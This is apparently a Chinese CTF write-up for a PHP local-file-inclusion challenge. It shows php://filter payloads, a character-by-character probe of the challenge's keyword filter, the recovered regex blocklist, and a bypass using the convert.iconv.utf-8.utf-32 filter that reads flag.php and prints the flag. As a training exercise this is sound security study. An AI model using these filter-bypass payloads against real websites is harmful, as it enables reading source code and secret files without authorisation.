web安全-file_include-攻防世界-江苏工匠杯

了解一下什么是文件包含

文件包含(File Inclusion)是一种将外部文件内容嵌入主程序的编程技术,用于代码复用、动态加载或模块化设计,常见于Web开发(如PHP的include/require)或语言预处理(如C的#include),但若未校验用户输入或路径,可能引发本地/远程文件包含攻击(LFI/RFI)或目录遍历漏洞;当包含的文件与主程序编码不一致时(如UTF-8与GBK混用),需通过iconv等工具提前转换编码以避免乱码,因此实际开发中需结合安全验证(如路径白名单、禁用远程包含)和统一编码规范(如全项目UTF-8),同时利用构建工具自动化处理包含与转换流程,从而兼顾功能复用与数据完整性。

一、分析

首先分析源码可以看到$filename处可能会存在文件包含漏洞,而在文件包含中存在include("./check.php"),可能存在过滤,check.php可能就是过滤文件,通过最常用的方式访问一波 

/?filename=php://filter/read=convert.base64encode/resource=./check.php

发现被过滤了

二、测试

1.我们可以用以下方式来排除过滤字段,将各字段首字母更改为‘0’。

?filename=0hp://0ilter/0ead=0onvert.0ase64--0ncode/0esource=./0heck.0hp

通过排查得出

?filename=php://filter/0ead=convert.0ase64-0ncode/resource=./check.php

0ead=convert.0ase64-0ncode被过滤了,但是convert没有被过滤掉。

2.可以省略read进行绕过

?filename=php://filter/convert.base64-encode/resource=xxx.php
?filename=php://filter/read=convert.base64-encode/resource=xxx.php

两者区别不大,区别在于使用条件:读取需要开启 allow_url_fopen,不加不需要开启 allow_url_include。

3.转换过滤器

对于转换过滤器convert感兴趣可参考链接~PHP: 转换过滤器 - Manual

使用过滤器convert.iconv.* 进行绕过,

使用方法:convert.iconv.<input-encoding>.<output-encoding> 或者 convert.iconv.<input-encoding>/<output-encoding>

PHP: 支持的字符编码

  • UCS-4*
  • UCS-4BE
  • UCS-4LE*
  • UCS-2
  • UCS-2BE
  • UCS-2LE
  • UTF-32*
  • UTF-32BE*
  • UTF-32LE*
  • UTF-16*
  • UTF-16BE*
  • UTF-16LE*
  • UTF-7
  • UTF7-IMAP
  • UTF-8*
  • ASCII*
  • EUC-JP*
  • SJIS*
  • eucJP-win*
  • SJIS-win*
  • ISO-2022-JP
  • ISO-2022-JP-MS
  • CP932
  • CP51932
  • SJIS-mac(别名:MacJapanese)
  • SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
  • SJIS-Mobile#KDDI(别名:SJIS-KDDI)
  • SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
  • UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
  • UTF-8-Mobile#KDDI-A
  • UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
  • UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
  • ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
  • JIS
  • JIS-ms
  • CP50220
  • CP50220raw
  • CP50221
  • CP50222
  • ISO-8859-1*
  • ISO-8859-2*
  • ISO-8859-3*
  • ISO-8859-4*
  • ISO-8859-5*
  • ISO-8859-6*
  • ISO-8859-7*
  • ISO-8859-8*
  • ISO-8859-9*
  • ISO-8859-10*
  • ISO-8859-13*
  • ISO-8859-14*
  • ISO-8859-15*
  • ISO-8859-16*
  • byte2be
  • byte2le
  • byte4be
  • byte4le
  • BASE64
  • HTML-ENTITIES(别名:HTML)
  • 7bit
  • 8bit
  • EUC-CN*
  • CP936
  • GB18030
  • HZ
  • EUC-TW*
  • CP950
  • BIG-5*
  • EUC-KR*
  • UHC(别名:CP949)
  • ISO-2022-KR
  • Windows-1251(别名:CP1251)
  • Windows-1252(别名:CP1252)
  • CP866(别名:IBM866)
  • KOI8-R*
  • KOI8-U*
  • ArmSCII-8(别名:ArmSCII8)

<input-encoding>.<output-encoding>,我可以通过bp爆破构造,也可以手动简单测试几下,发现有很多都可以构造payload;

我们这里取其中一种,通过?filename=php://filter/convert.iconv.utf-8.utf-32/resource=./check.php访问,可以看到check.php中的代码preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);

这段代码我们可以看到他所过滤的字段

<?php if($_GET["filename"])
{ $preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);'; 
if (eval($preg_match_username))
 { die("do not hack!"); }
 }

构造payload

?filename=php://filter/convert.iconv.utf-8.utf-32/resource=flag.php

得到flag,cyberpeace{34dabe314443b9af8d4aa50ca6e0ddb0}

<script src="chrome-extension://lopnbnfpjmgpbppclhclehhgafnifija/aiscripts/script-main.js"></script>
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值